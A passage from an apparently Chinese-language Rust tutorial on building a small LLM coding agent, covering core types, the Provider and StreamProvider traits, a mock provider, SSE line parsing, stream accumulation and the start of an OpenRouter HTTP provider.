    pub fn definitions(&self) -> Vec<&ToolDefinition> {
        self.tools.values().map(|t| t.definition()).collect()
    }
}

impl Default for ToolSet {
    fn default() -> Self {
        Self::new()
    }
}
}

几个设计要点:

  • with() 支持链式调用ToolSet::new().with(ReadTool::new()).with(BashTool::new())
  • push() 从工具定义中提取名称,不需要手动传入——单一可信来源。
  • definitions() 把所有 schema 收集为 Vec,provider 在每轮开始时发给 LLM。
  • Box<dyn Tool> 是让异构存储成为可能的 trait 对象。push/with 上的 'static 约束确保工具存活足够长。

ToolSet 在 starter 中没有专属测试——由 test_single_turn_* 套件(第 3 章)和 test_multi_tool_* 套件(第 12 章)间接验证,两套测试都构建真实的 ToolSet 并断言定义被正确渲染。


1.8 TokenUsage

LLM API 在每次响应中报告 token 计数,用于成本感知和调试。

#![allow(unused)]
fn main() {
#[derive(Debug, Clone, Default)]
pub struct TokenUsage {
    pub input_tokens: u64,
    pub output_tokens: u64,
}
}

starter 用简化的 TokenUsage,只有输入和输出 token 计数,以 Option<TokenUsage> 形式存储在 AssistantTurn 中。测试中的 mock provider 设为 None,真实的 OpenRouterProvider 从 API 响应中填充它。

Default impl 由 tests/cost_tracker.rs 中的 test_cost_tracker_token_usage_default 覆盖(第 17 章还会再次用到)。单独运行:

cargo test -p mini-claw-code-starter test_cost_tracker_token_usage_default

1.9 Provider trait

Provider trait

Provider trait 定义在 src/types.rs,对任意 LLM 后端进行抽象:

#![allow(unused)]
fn main() {
pub trait Provider: Send + Sync {
    fn chat<'a>(
        &'a self,
        messages: &'a [Message],
        tools: &'a [&'a ToolDefinition],
    ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a;
}
}

Tool 不同,Provider 用 RPITIT(trait 中返回位置的 impl Trait)而非 #[async_trait]。完整权衡分析见为什么有两种异步 trait 风格?

blanket impl 让 Arc<P> 也能当 Provider 用,后续需要在 agent 与子 agent 之间共享 provider 时必不可少:

#![allow(unused)]
fn main() {
impl<P: Provider> Provider for Arc<P> { ... }
}

MockProvider第 5a 章实现,OpenRouterProvider第 5b 章实现。


汇总

实现 src/types.rs 后,运行本章完整测试套件:

cargo test -p mini-claw-code-starter test_mock_

测试验证的内容

  • test_mock_message_user — 构造 Message::User,验证持有预期字符串
  • test_mock_message_system — 构造 Message::System,验证持有预期字符串
  • test_mock_message_tool_result — 构造 Message::ToolResult,验证 idcontent 均正确
  • test_mock_assistant_turn — 构建带文本的 AssistantTurn,验证 stop_reasonStop
  • test_mock_tool_definition_builder — 用构建器添加参数,验证生成的 JSON schema 结构正确
  • test_mock_tool_definition_optional_param — 添加可选参数,验证它不出现在 required 数组中
  • test_mock_toolset_empty — 创建空 ToolSet,验证对任意名称 get() 返回 None
  • test_mock_token_usage_default — 验证 TokenUsage::default() 将两个计数器都初始化为零

你构建了什么

这一章建立了整个 agent 的类型词汇:

  • Message:四变体 enum,携带每种对话条目:系统指令、用户输入、assistant 响应、工具结果。
  • AssistantTurn:模型的响应,含可选文本、工具调用、停止原因、可选 token 使用量。
  • StopReason:驱动 agent 循环的二元信号:继续还是停止。
  • ToolDefinition:JSON Schema 工具描述的构建器,LLM 用它了解可用工具。
  • ToolCall:工具执行的请求端,通过 ID 与 Message::ToolResult 关联。
  • **Tool trait**:每个工具必须实现的最简异步接口:definition()call()`。
  • ToolSet:基于 HashMap 的注册表,运行时按名称查找工具。
  • Provider trait`:异步 LLM 抽象,对任意后端通用。
  • TokenUsage:每次请求的 token 跟踪。

核心要点

整个 agent——工具、provider、循环本身——都建立在这一章定义的词汇上。把这些类型设计对(尤其是 Message enum 和 StopReason)决定了 agent 循环是简洁还是混乱。类型是契约,其他一切都是实现。

这些类型本身不做任何事情——它们是系统的名词。下一章实现 MockProviderOpenRouterProvider,给这些类型它们的第一批动词。

自我检测


← 第 3 章:Agent 循环 · 目录 · 第 5a 章:Provider 与流式基础 →

第 5a 章:Provider 与流式基础

需要编辑的文件: src/streaming.rs — 所有标注 TODO ch5a: 的存根(StreamingAgent 除外,那是第 5b 章的内容)。

src/mock.rs 中已有你在第 1 章填写的 MockProvider 存根;本章依赖那部分工作,但不会重新填写它。如果你从第 1 章跳过来,请先回去完成 TODO ch1: 的存根。 需要运行的测试: cargo test -p mini-claw-code-starter test_mock_cargo test -p mini-claw-code-starter test_streaming_parse_ test_streaming_accumulator_ 预计用时: 35 分钟

目标

  • 重新审视 MockProvider(第 1 章构建的),把它当作 Provider trait 的典型示例,再以此引出下面的流式变体。
  • 实现 parse_sse_line,把单行 SSE 转换为 StreamEvent
  • 实现 StreamAccumulator,把一系列增量重新组装为完整的 AssistantTurn
  • 实现 MockStreamProvider,让面向 UI 的代码无需真实 HTTP 连接就能测试。
  • 搞清楚异步代码中 std::sync::Mutextokio::sync::Mutex 各自的适用场景。

第 4 章定义了流经 agent 的数据。这一章(以及下一章)把这些类型变成真正能驱动数据的东西——LLM 后端。工作分两半:

  • 第 5a 章(本章): 抽象与可测试的基础——trait、mock provider、SSE 解析、流积累。
  • 第 5b 章 真实 HTTP provider(OpenRouterProvider),以及把流 channel 接入 agent 循环的 StreamingAgent

把流式管道(本章)和网络与编排(下一章)分开,各部分可以独立测试。


流式端到端工作原理

下图是完整系统的预览。StreamingAgentOpenRouter API 两个方框暂时不用管——它们属于第 5b 章。本章负责其他所有方框。

sequenceDiagram
    participant Agent
    participant StreamProvider
    participant API as LLM API
    participant Channel as mpsc channel
    participant UI

    Agent->>StreamProvider: stream_chat(messages, tools, tx)
    StreamProvider->>API: POST /chat/completions (stream: true)
    loop SSE chunks
        API-->>StreamProvider: data: {"delta": ...}
        StreamProvider->>StreamProvider: parse_sse_line
        StreamProvider->>Channel: send(StreamEvent)
        StreamProvider->>StreamProvider: accumulator.feed(event)
        Channel-->>UI: recv() and render
    end
    API-->>StreamProvider: data: [DONE]
    StreamProvider->>Agent: return accumulator.finish()

为什么需要 trait?

coding agent 需要调用 LLM,但具体调哪个不应该硬编码。测试时需要即时、确定的响应;生产环境需要通过 HTTP 流式传输。Provider trait 提供了这条接缝。

Claude Code 内部用的是类似的抽象——每次 LLM 调用都经过 provider 接口,后端(Anthropic API、Bedrock、Vertex)的选择在启动时确定。

Provider trait(RPITIT)

完整 trait 如下:

#![allow(unused)]
fn main() {
pub trait Provider: Send + Sync {
    fn chat<'a>(
        &'a self,
        messages: &'a [Message],
        tools: &'a [&'a ToolDefinition],
    ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a;
}
}

几点值得注意:

没有 #[async_trait] Provider trait 用的是返回位置 impl Trait in traits(RPITIT)——Rust 1.75 稳定。写 fn chat(...) -> impl Future<...> 而不是 async fn chat(...),可以显式控制生命周期和 Send 约束;trait 中的 async fn 不总能推断返回的 future 满足 Send,会阻止在多线程运行时上 spawn。显式的 impl Future<...> + Send + 'a 签名解决了这个问题,同时避免 #[async_trait] 需要的堆分配。

第 6 章的 Tool trait 出于相反的原因用了 #[async_trait]——为了异构存储的对象安全性。何时选哪种风格的完整解释见为什么有两种异步 trait 风格?。一句话版本在第 2 章

为什么 trait 本身需要 Send + Sync agent 循环会通过共享引用(以及后来的 Arc)持有 P: ProviderSync 让多个任务共享 provider,Send 让它跨线程传递。

到处都有生命周期 'a 返回的 future 借用了 &self 和输入切片。绑定到单一生命周期 'a,告诉编译器这个 future 存活时间不超过那些借用,避免 'static 要求。

Provider trait 已在 src/types.rs 中定义(第 4 章)。starter 把它和消息类型放在一起,因为所有内容都在平铺布局中。

Arc<P> 的 blanket impl

紧接在 Provider trait 下方,starter 中有:

#![allow(unused)]
fn main() {
impl<P: Provider> Provider for Arc<P> {
    fn chat<'a>(
        &'a self,
        messages: &'a [Message],
        tools: &'a [&'a ToolDefinition],
    ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a {
        (**self).chat(messages, tools)
    }
}
}

意思是:如果 PProvider,那么 Arc<P> 也是 Provider。通过 Arc 解引用后委托给内部值。

这有什么用?之后构建子 agent 时,主 agent 和子 agent 会共享同一个 provider。克隆 Arc 代价低廉,blanket impl 意味着泛型于 P: Provider 的子 agent 代码,无论拿到的是裸 provider 还是共享 provider,行为完全一致。没有它,就得额外的类型管道来传递共享 provider。

Provider trait 和 Arc<P> blanket impl 都已在 src/types.rs 中。


MockProvider

对真实 API 测试 agent 既慢又贵,还不确定。MockProvider 让你脚本化精确的响应,验证 agent 能否正确处理。

#![allow(unused)]
fn main() {
use std::collections::VecDeque;
use std::sync::Mutex;

pub struct MockProvider {
    responses: Mutex<VecDeque<AssistantTurn>>,
}

impl MockProvider {
    pub fn new(responses: VecDeque<AssistantTurn>) -> Self {
        Self {
            responses: Mutex::new(responses),
        }
    }
}

impl Provider for MockProvider {
    async fn chat(
        &self,
        _messages: &[Message],
        _tools: &[&ToolDefinition],
    ) -> anyhow::Result<AssistantTurn> {
        self.responses
            .lock()
            .unwrap()
            .pop_front()
            .ok_or_else(|| anyhow::anyhow!("MockProvider: no more responses"))
    }
}
}

Rust 概念:std::sync::Mutex vs tokio::sync::Mutex

Provider trait 接受 &self 而不是 &mut self,因为 provider 是共享的。但我们需要修改队列。用哪个 Mutex

经验法则:临界区很简单时(锁内没有 .await)用 std::sync::Mutex;需要在 .await 点持有锁时用 tokio::sync::Mutex。这里的临界区只是一个 pop_front——单次指针操作。用 tokio::sync::Mutex 会增加不必要的开销(它是会让出运行时的异步感知锁)。std::sync::Mutex 更轻量,也完全安全,因为锁从不会被持有足够长的时间来阻塞运行时。

设计要点:

  • VecDeque:响应按 FIFO 顺序消费。第一次调用 chat 返回第一个响应,第二次返回第二个,以此类推。
  • Mutex:包裹队列,让 &self 方法能修改它。为什么选 std::sync::Mutex,见上面的 Rust 概念说明。
  • 耗尽时报错:测试脚本了三个响应但 agent 第四次调用 chat,会得到错误而不是静默 panic。能捕获循环次数超出预期的 agent 循环。

测试策略

MockProvider 是所有测试的基础。脚本化精确的响应序列后,可以测试:

  • 单轮: 一个带 StopReason::Stop 的响应
  • 工具调用循环: 第一个响应带 StopReason::ToolUse 和工具调用,agent 执行后发送结果,第二个响应带 StopReason::Stop
  • 多轮序列: 任意数量的脚本化轮次
  • 错误处理: 空队列返回错误

典型测试:

#![allow(unused)]
fn main() {
#[tokio::test]
async fn mock_returns_text() {
    let provider = MockProvider::new(VecDeque::from([AssistantTurn {
        text: Some("Hello!".into()),
        tool_calls: vec![],
        stop_reason: StopReason::Stop,
        usage: None,
    }]));
    let turn = provider.chat(&[Message::User("Hi".into())], &[]).await.unwrap();
    assert_eq!(turn.text.as_deref(), Some("Hello!"));
}
}

注意测试忽略了 messages 输入——mock 不检查 agent 发送的内容。这是有意为之。测试的是 agent 面对已知 provider 响应时的行为,不是 provider 理解 prompt 的能力。

你的任务

打开 starter 中的 src/mock.rs,里面是带有 unimplemented!() 存根的 MockProvider struct。填写 new()Provider impl。


StreamEvent

定义流式 trait 之前,先建立描述 LLM 发回增量块的词汇:

#![allow(unused)]
fn main() {
#[derive(Debug, Clone, PartialEq)]
pub enum StreamEvent {
    /// A fragment of the model's text response.
    TextDelta(String),
    /// The beginning of a tool call (carries the call ID and tool name).
    ToolCallStart {
        index: usize,
        id: String,
        name: String,
    },
    /// A fragment of a tool call's JSON arguments.
    ToolCallDelta {
        index: usize,
        arguments: String,
    },
    /// The stream is complete.
    Done,
}
}

四个变体直接对应 OpenAI 流式 API:

  • TextDelta:模型自然语言输出的片段(如 "Hello",然后是 " world")。
  • ToolCallStart:模型开始了一个工具调用。index 标识哪次调用(一个轮次可以请求多个工具),id 是服务器分配的关联 ID,name 是工具名称。
  • ToolCallDelta:该 index 处调用的 JSON 参数片段。参数增量到达,因为模型逐 token 生成 JSON。
  • Done:流结束信号。

index 字段很重要,因为流式传输会交错来自多个工具调用的片段,消费者需要知道每个片段属于哪个调用。

StreamProvider trait

#![allow(unused)]
fn main() {
pub trait StreamProvider: Send + Sync {
    fn stream_chat<'a>(
        &'a self,
        messages: &'a [Message],
        tools: &'a [&'a ToolDefinition],
        tx: mpsc::UnboundedSender<StreamEvent>,
    ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a;
}
}

设计上用的是基于 channel 的流式模型,而不是返回 AsyncIteratorStream。调用方创建 tokio::sync::mpsc::unbounded_channel(),把发送端传给 stream_chat,从接收端读取事件——通常在独立任务中渲染到终端。

方法本身在流完成后仍然返回完整组装好的 AssistantTurn。这意味着 agent 循环总是得到干净的 AssistantTurn,不管有没有启用流式传输。channel 是 UI 的旁路。

为什么用 UnboundedSender 而不是有界 channel?流式事件很小,到达速度受限于网络。瓶颈在 API 而非消费者,背压没有必要。无界 channel 让 API 更简洁。

StreamEvent enum 和 StreamProvider trait 都在 starter 的 src/streaming.rs 中。


MockStreamProvider

MockStreamProvider 包装 MockProvider,从每个预设响应中合成 StreamEvent。这让你无需真实 HTTP 连接就能测试消费流事件的 UI 代码。

struct 包装 MockProvider,其 stream_chat impl 分三步:

  1. 委托给 self.inner.chat() 获取预设的 AssistantTurn
  2. 分解为事件:文本逐字符作为 TextDelta 发送,每个工具调用发送 ToolCallStart + 单个 ToolCallDelta,最后发送 Done
  3. 原样返回原始 AssistantTurn

完整实现:

#![allow(unused)]
fn main() {
pub struct MockStreamProvider {
    inner: MockProvider,
}

impl MockStreamProvider {
    pub fn new(responses: VecDeque<AssistantTurn>) -> Self {
        Self {
            inner: MockProvider::new(responses),
        }
    }
}

impl StreamProvider for MockStreamProvider {
    async fn stream_chat(
        &self,
        messages: &[Message],
        tools: &[&ToolDefinition],
        tx: mpsc::UnboundedSender<StreamEvent>,
    ) -> anyhow::Result<AssistantTurn> {
        let turn = self.inner.chat(messages, tools).await?;

        // Synthesize stream events from the complete turn
        if let Some(ref text) = turn.text {
            for ch in text.chars() {
                let _ = tx.send(StreamEvent::TextDelta(ch.to_string()));
            }
        }
        for (i, call) in turn.tool_calls.iter().enumerate() {
            let _ = tx.send(StreamEvent::ToolCallStart {
                index: i,
                id: call.id.clone(),
                name: call.name.clone(),
            });
            let _ = tx.send(StreamEvent::ToolCallDelta {
                index: i,
                arguments: call.arguments.to_string(),
            });
        }
        let _ = tx.send(StreamEvent::Done);

        Ok(turn)
    }
}
}

这样就不用重复响应队列逻辑——inner.chat() 处理 VecDeque 的弹出。let _ = tx.send(...) 有意忽略发送错误:接收方被 drop 了,没人在监听,这没问题。

你的任务

src/streaming.rs 中填写 MockStreamProvider::new() 及其 stream_chat() 存根。


Server-Sent Events 与 parse_sse_line

真实 provider 请求 stream: true 时,API 返回 Server-Sent Events(SSE)流。SSE 是基于 HTTP 的简单文本协议:

data: {"choices":[{"delta":{"content":"Hello"},"finish_reason":null}]}

data: {"choices":[{"delta":{"content":" world"},"finish_reason":null}]}

data: [DONE]

每个事件是一行以 data: 开头、后跟 JSON 载荷(或特殊字符串 [DONE])的文本。事件之间用空行分隔。就这些——没有帧,没有长度前缀,只有换行符分隔的文本。这种简洁性正是 SSE 成为 LLM 流式传输标准的原因。

parse_sse_line 处理单行:

#![allow(unused)]
fn main() {
pub fn parse_sse_line(line: &str) -> Option<Vec<StreamEvent>> {
    let data = line.strip_prefix("data: ")?;
    if data == "[DONE]" {
        return Some(vec![StreamEvent::Done]);
    }

    let chunk: ChunkResponse = serde_json::from_str(data).ok()?;
    let choice = chunk.choices.into_iter().next()?;
    let mut events = Vec::new();

    if let Some(text) = choice.delta.content
        && !text.is_empty()
    {
        events.push(StreamEvent::TextDelta(text));
    }

    if let Some(tool_calls) = choice.delta.tool_calls {
        for tc in tool_calls {
            if let Some(id) = tc.id {
                let name = tc.function
                    .as_ref()
                    .and_then(|f| f.name.clone())
                    .unwrap_or_default();
                events.push(StreamEvent::ToolCallStart {
                    index: tc.index,
                    id,
                    name,
                });
            }
            if let Some(ref func) = tc.function
                && let Some(ref args) = func.arguments
                && !args.is_empty()
            {
                events.push(StreamEvent::ToolCallDelta {
                    index: tc.index,
                    arguments: args.clone(),
                });
            }
        }
    }

    if events.is_empty() { None } else { Some(events) }
}
}

逐步解析:

  1. 去除 data: 前缀。 不以 data: 开头的行(如 event: ping 或空行)返回 None——不是数据事件。
  2. 检查 [DONE] OpenAI 标准的流结束哨兵,返回 Done 事件。
  3. 将 JSON 解析为 ChunkResponse JSON 格式错误时,.ok()? 静默跳过。有意为之——SSE 流偶尔包含 keep-alive ping 或格式错误的块,崩溃比丢弃一个 token 更糟。
  4. 提取文本增量。 delta.content 字段是文本片段,空字符串跳过。
  5. 提取工具调用事件。 单个块可以同时包含 ToolCallStartid 字段存在,表示新调用)和 ToolCallDeltaarguments 存在)。if let ... && let ... 是 Rust 的 let-chains 特性,2024 edition 稳定。

Rust 概念:let-chains

if let Some(ref func) = tc.function && let Some(ref args) = func.arguments 把两个模式匹配合并为单个 if 表达式。有 let-chains 之前,需要嵌套的 if let 块或带元组的 match。let-chains 把嵌套展平,条件更易读。ref 借用匹配的值而不是移动,这里是必要的,因为 tcif let 之后还会被使用。

测试验证了解析器的三种情况:文本增量行产生 StreamEvent::TextDelta("Hello")data: [DONE] 产生 StreamEvent::Doneevent: ping 或空字符串等非数据行返回 None

你的任务

parse_sse_line 函数及其 SSE 反序列化类型(ChunkResponseChunkChoiceDeltaDeltaToolCallDeltaFunction)在 src/streaming.rs 中。填写 parse_sse_line 存根。


StreamAccumulator

流式传输为 UI 提供实时输出,但 agent 循环需要完整的 AssistantTurn 才能决定下一步。StreamAccumulator 弥合这个差距——事件到达时收集,最后生成完整消息。

#![allow(unused)]
fn main() {
pub struct StreamAccumulator {
    text: String,
    tool_calls: Vec<PartialToolCall>,
}

struct PartialToolCall {
    id: String,
    name: String,
    arguments: String,
}
}

两个关键方法:

#![allow(unused)]
fn main() {
impl StreamAccumulator {
    pub fn new() -> Self {
        Self {
            text: String::new(),
            tool_calls: Vec::new(),
        }
    }

    pub fn feed(&mut self, event: &StreamEvent) {
        match event {
            StreamEvent::TextDelta(s) => self.text.push_str(s),
            StreamEvent::ToolCallStart { index, id, name } => {
                // Ensure the Vec is large enough for this index
                while self.tool_calls.len() <= *index {
                    self.tool_calls.push(PartialToolCall {
                        id: String::new(),
                        name: String::new(),
                        arguments: String::new(),
                    });
                }
                self.tool_calls[*index].id = id.clone();
                self.tool_calls[*index].name = name.clone();
            }
            StreamEvent::ToolCallDelta { index, arguments } => {
                if let Some(tc) = self.tool_calls.get_mut(*index) {
                    tc.arguments.push_str(arguments);
                }
            }
            StreamEvent::Done => {}
        }
    }

    pub fn finish(self) -> AssistantTurn {
        let text = if self.text.is_empty() {
            None
        } else {
            Some(self.text)
        };
        let tool_calls: Vec<ToolCall> = self
            .tool_calls
            .into_iter()
            .filter(|tc| !tc.name.is_empty())
            .map(|tc| ToolCall {
                id: tc.id,
                name: tc.name,
                arguments: serde_json::from_str(&tc.arguments)
                    .unwrap_or(Value::Null),
            })
            .collect();
        let stop_reason = if tool_calls.is_empty() {
            StopReason::Stop
        } else {
            StopReason::ToolUse
        };
        AssistantTurn {
            text,
            tool_calls,
            stop_reason,
            usage: None,
        }
    }
}
}

设计说明:

  • feed 增量追加。 文本片段拼接到 self.text,工具调用参数按索引拼接到 PartialToolCall::arguments
  • 稀疏索引处理。 ToolCallStart 中的 while 循环用空条目填充 vector,使得即使 vector 只有一个元素,index: 2 也能正常工作。finish 中的 filter(|tc| !tc.name.is_empty()) 去除这些占位符。
  • 延迟 JSON 解析。 参数在流式传输期间以字符串片段形式到达,finish 只在流结束后才把拼接好的字符串解析为 serde_json::Value,格式错误时回退到 Value::Null
  • stop_reason 由工具调用派生。 有工具调用通过过滤器则为 ToolUse,否则为 StopusageNone,因为大多数流式 API 不在每个块中包含 token 计数。

accumulator 测试(test_streaming_accumulator_texttest_streaming_accumulator_tool_call)分别提供两个文本增量,或一个工具调用开始加两个参数片段,验证拼接结果符合预期。

你的任务

StreamAccumulatorPartialToolCallsrc/streaming.rs 中。填写 new()feed()finish() 存根。


运行测试

cargo test -p mini-claw-code-starter test_mock_
cargo test -p mini-claw-code-starter test_streaming_parse_
cargo test -p mini-claw-code-starter test_streaming_accumulator_

这些测试验证的内容

test_mock_(MockProvider):

  • test_mock_mock_returns_text — 脚本化单个文本响应,验证 chat() 返回它
  • test_mock_mock_exhausted — 对空队列调用 chat(),验证返回错误

test_streaming_parse_(SSE 解析器):

  • test_streaming_parse_text_delta — 提供带文本内容的 data: 行,验证生成 TextDelta 事件
  • test_streaming_parse_done — 提供 data: [DONE],验证生成 Done 事件
  • test_streaming_parse_non_data_lines — 提供 event: ping 等非数据行,验证返回 None

test_streaming_accumulator_(流重组):

  • test_streaming_accumulator_text — 提供两个 TextDelta 事件,验证拼接结果
  • test_streaming_accumulator_tool_call — 提供 ToolCallStart 和两个 ToolCallDelta 片段,验证重组为带已解析 JSON 参数的有效 ToolCall

其他所有测试(test_openrouter_test_streaming_streaming_agent_test_streaming_stream_chat_)属于第 5b 章


关键要点

provider 层把 agent 与任何具体的 LLM 后端解耦。MockProvider 让测试快速且确定;StreamProvider trait 通过 channel 输出增量事件,方法本身仍然返回干净的 AssistantTurnStreamAccumulator 是桥梁,让 UI 在 token 到达时就能看到,而 agent 循环看到的是完整消息。

这一章的所有内容都可以在无网络的情况下测试。接下来第 5b 章把这些原语接入真实的 HTTP provider,并将事件 channel 接通 agent 循环。

自我检测


← 第 4 章:消息与类型 · 目录 · 第 5b 章:OpenRouter 与 StreamingAgent →

第 5b 章:OpenRouter 与 StreamingAgent

需要编辑的文件: src/providers/openrouter.rssrc/streaming.rs(底部的 StreamingAgent 块) 需要运行的测试: cargo test -p mini-claw-code-starter test_openrouter_cargo test -p mini-claw-code-starter test_streaming_streaming_agent_cargo test -p mini-claw-code-starter test_streaming_stream_chat_ 预计用时: 35 分钟

目标

  • 实现 OpenRouterProvider,让 agent 能与真实的 OpenAI 兼容 API 通信——非流式和流式两种方式都要。
  • 实现 StreamingAgent::chat——在 LLM 仍在生成内容时把流式文本增量转发到 UI channel 的 agent 循环。

第 5a 章构建了抽象(ProviderStreamProviderStreamEvent)、mock(MockProviderMockStreamProvider)以及解析/积累机制(parse_sse_lineStreamAccumulator)。这一章把这些部件接入真实的 HTTP provider,并将流式 channel 接通 agent 循环。

下面的内容若假设 parse_sse_lineStreamAccumulator 已经存在——它们确实存在,因为你在第 5a 章已经实现了。

侧边栏:面向 Go 开发者的 tokio 并发

如果 Go 是你的原生异步语言,下面这张翻译对照表是阅读流式代码前的必备知识。本章的一切都建立在这五个原语之上;已经习惯用 tokio 思考的可以跳过。

GoTokio说明
go func() { ... }()tokio::spawn(async { ... })两者都是"触发后不管"。tokio::spawn 返回 JoinHandle,如果你关心结果,可以稍后 await 它。
ch := make(chan T, n)let (tx, rx) = tokio::sync::mpsc::channel::<T>(n)有界 channel。无界版本用 mpsc::unbounded_channel()——类似于缓冲区无限大的 channel。
ch <- vtx.send(v).awaitTokio 中的异步发送(缓冲区满时等待)。无界版本用 tx.send(v),无需 .await
v, ok := <-chlet Some(v) = rx.recv().await { ... }所有发送方都被 drop 时,recv 返回 None(等价于 close(ch) 加排空)。
close(ch)drop 掉每一个 tx 克隆Tokio 没有显式的 close。最后一个发送方被 drop 时,接收方收到 None,循环退出。
wg.Add(1); wg.Wait()handle.await(或 tokio::join!try_join!JoinHandle 相当于单个 goroutine 的 WaitGroup。多个 handle:tokio::join!(h1, h2) 并发运行它们。
select { case <-a: case <-b: }tokio::select! { _ = a => ..., _ = b => ... }直接对应。若分支不互斥,需使用 biased;

本章有一个值得单独说明的细节:我们通过丢弃发送方来表示"流结束",没有显式的 close 调用。接收方任务观察到 rx.recv().await == None 后退出循环。如果你忘记 drop 发送方(比如把它放在一个比生产者活得更长的 Arc 里),接收方会永远挂起——这正是 §"为什么不在主循环中直接 rx.recv()?" 中分析的死锁模式之一。


OpenRouterProvider

有了解析基础设施,可以构建真实的 provider 了。目标是 OpenRouter API,与 OpenAI 兼容——同样的请求/响应格式适用于 OpenAI、Together、Groq 等。

API 类型

provider 需要 serde 类型处理请求和响应载荷。请求侧:

#![allow(unused)]
fn main() {
#[derive(Serialize)]
struct ChatRequest<'a> {
    model: &'a str,
    messages: Vec<ApiMessage>,
    #[serde(skip_serializing_if = "Vec::is_empty")]
    tools: Vec<ApiTool>,
    #[serde(skip_serializing_if = "std::ops::Not::not")]
    stream: bool,
}
}

skip_serializing_if 注解保持 JSON 整洁——tools 为空时省略(某些模型对空数组会报错),streamfalse 时省略(这是 API 的默认值)。

ApiMessageApiToolCallApiFunctionApiToolApiToolDef 镜像 OpenAI 消息格式。响应类型(ChatResponseChoiceResponseMessage)反序列化非流式响应。块类型(ChunkResponseChunkChoiceDeltaDeltaToolCallDeltaFunction)反序列化流式响应——你在第 5a 章已为 parse_sse_line 实现了它们。

转换辅助函数

OpenRouterProvider 上两个 impl 方法负责内部类型和 API 格式之间的转换。convert_messages 处理四个 Message 变体:

#![allow(unused)]
fn main() {
pub(crate) fn convert_messages(messages: &[Message]) -> Vec<ApiMessage> {
    let mut out = Vec::new();
    for msg in messages {
        match msg {
            Message::System(text) => out.push(ApiMessage {
                role: "system".into(),
                content: Some(text.clone()),
                tool_calls: None,
                tool_call_id: None,
            }),
            Message::User(text) => out.push(ApiMessage {
                role: "user".into(),
                content: Some(text.clone()),
                tool_calls: None,
                tool_call_id: None,
            }),
            Message::Assistant(turn) => out.push(ApiMessage {
                role: "assistant".into(),
                content: turn.text.clone(),
                tool_calls: if turn.tool_calls.is_empty() {
                    None
                } else {
                    Some(
                        turn.tool_calls
                            .iter()
                            .map(|c| ApiToolCall {
                                id: c.id.clone(),
                                type_: "function".into(),
                                function: ApiFunction {
                                    name: c.name.clone(),
                                    arguments: c.arguments.to_string(),
                                },
                            })
                            .collect(),
                    )
                },
                tool_call_id: None,
            }),
            Message::ToolResult { id, content } => out.push(ApiMessage {
                role: "tool".into(),
                content: Some(content.clone()),
                tool_calls: None,
                tool_call_id: Some(id.clone()),
            }),
        }
    }
    out
}
}

四个细节值得停下来看:

  • SystemUser 是对称的。 形状相同,只是 role 字符串不同,其他字段(tool_callstool_call_id)均为 None
  • Assistant 有细微差别。 text 直接映射到 content,但工具调用需要重新序列化。c.argumentsserde_json::Value;OpenAI API 期望它是 JSON 字符串,所以调用 .to_string()Value 转回文本。发送空的 tool_calls: [] 数组会让一些 provider 以请求格式错误为由拒绝,因此改用 None
  • ToolResult 变为 role: "tool" 通过 tool_call_id 将结果与原始调用关联。没有这个 id,provider 无法对上结果和调用,下一个响应通常是报错。
  • 没有 default 分支。 每个 Message 变体都被显式处理。如果第 4 章新增了变体,这里的 match 会拒绝编译,直到你决定如何序列化它——这正是我们想要的行为。

convert_tools 更简单:把每个 ToolDefinition 包裹进 OpenAI 函数调用信封。

#![allow(unused)]
fn main() {
pub(crate) fn convert_tools(tools: &[&ToolDefinition]) -> Vec<ApiTool> {
    tools
        .iter()
        .map(|t| ApiTool {
            type_: "function",
            function: ApiToolDef {
                name: t.name,
                description: t.description,
                parameters: t.parameters.clone(),
            },
        })
        .collect()
}
}

信封形状固定:{ "type": "function", "function": { name, description, parameters } }。每个 OpenAI 兼容 provider 都期望这个格式,ToolDefinition 在第 4 章设计时就是为了让这个映射只需一行。

provider struct

#![allow(unused)]
fn main() {
pub struct OpenRouterProvider {
    client: reqwest::Client,
    api_key: String,
    model: String,
    base_url: String,
}
}

持有可复用的 reqwest::Client、API 密钥、模型名称和基础 URL。构造函数:new(api_key, model) 显式创建,from_env() 通过 dotenvy 加载 OPENROUTER_API_KEYbase_url(self, url) 构建器方法覆盖端点(适用于本地测试或替代 provider)。

非流式 Provider impl

非流式路径更简单:一次 POST,一个 JSON 响应,返回 AssistantTurn。完整实现:

#![allow(unused)]
fn main() {
impl Provider for OpenRouterProvider {
    async fn chat(
        &self,
        messages: &[Message],
        tools: &[&ToolDefinition],
    ) -> anyhow::Result<AssistantTurn> {
        let body = ChatRequest {
            model: &self.model,
            messages: Self::convert_messages(messages),
            tools: Self::convert_tools(tools),
            stream: false,
        };

        let resp: ChatResponse = self
            .client
            .post(format!("{}/chat/completions", self.base_url))
            .bearer_auth(&self.api_key)
            .json(&body)
            .send()
            .await
            .context("request failed")?
            .error_for_status()
            .context("API returned error status")?
            .json()
            .await
            .context("failed to parse response")?;

        let choice = resp.choices.into_iter().next().context("no choices")?;

        let tool_calls = choice
            .message
            .tool_calls
            .unwrap_or_default()
            .into_iter()
            .map(|tc| {
                let arguments =
                    serde_json::from_str(&tc.function.arguments).unwrap_or(Value::Null);
                ToolCall {
                    id: tc.id,
                    name: tc.function.name,
                    arguments,
                }
            })
            .collect();

        let stop_reason = match choice.finish_reason.as_deref() {
            Some("tool_calls") => StopReason::ToolUse,
            _ => StopReason::Stop,
        };

        let usage = resp.usage.map(|u| TokenUsage {
            input_tokens: u.prompt_tokens.unwrap_or(0),
            output_tokens: u.completion_tokens.unwrap_or(0),
        });

        Ok(AssistantTurn {
            text: choice.message.content,
            tool_calls,
            stop_reason,
            usage,
        })
    }
}
}

三个决策值得注意:

  • error_for_status() 将 HTTP 4xx/5xx 转为 Err 否则来自 OpenRouter 的 403 会把响应体当作 ChatResponse 反序列化,在更后面以莫名其妙的方式失败。
  • 工具调用参数以 JSON 字符串形式到达,不是 Value OpenAI 规范在传输格式中用 "arguments": "{\"path\":\"foo.rs\"}"。我们自己把它解析回 Value;解析失败时回退到 Value::Null,格式错误的 arguments 字段不会中止整个轮次。
  • stop_reason 是对 finish_reason 的直接映射。 只有 "tool_calls" 变为 ToolUse,其他一切("stop""length"、null、缺失)变为 Stop。与第 3 章的旁注中"由模型决定"的说法一致——我们只是在翻译模型自己的停止信号。

流式 StreamProvider impl

流式路径与非流式请求形状相同,只是 stream: true,但读取的是分块 HTTP 响应,解析为 Server-Sent Events。完整实现:

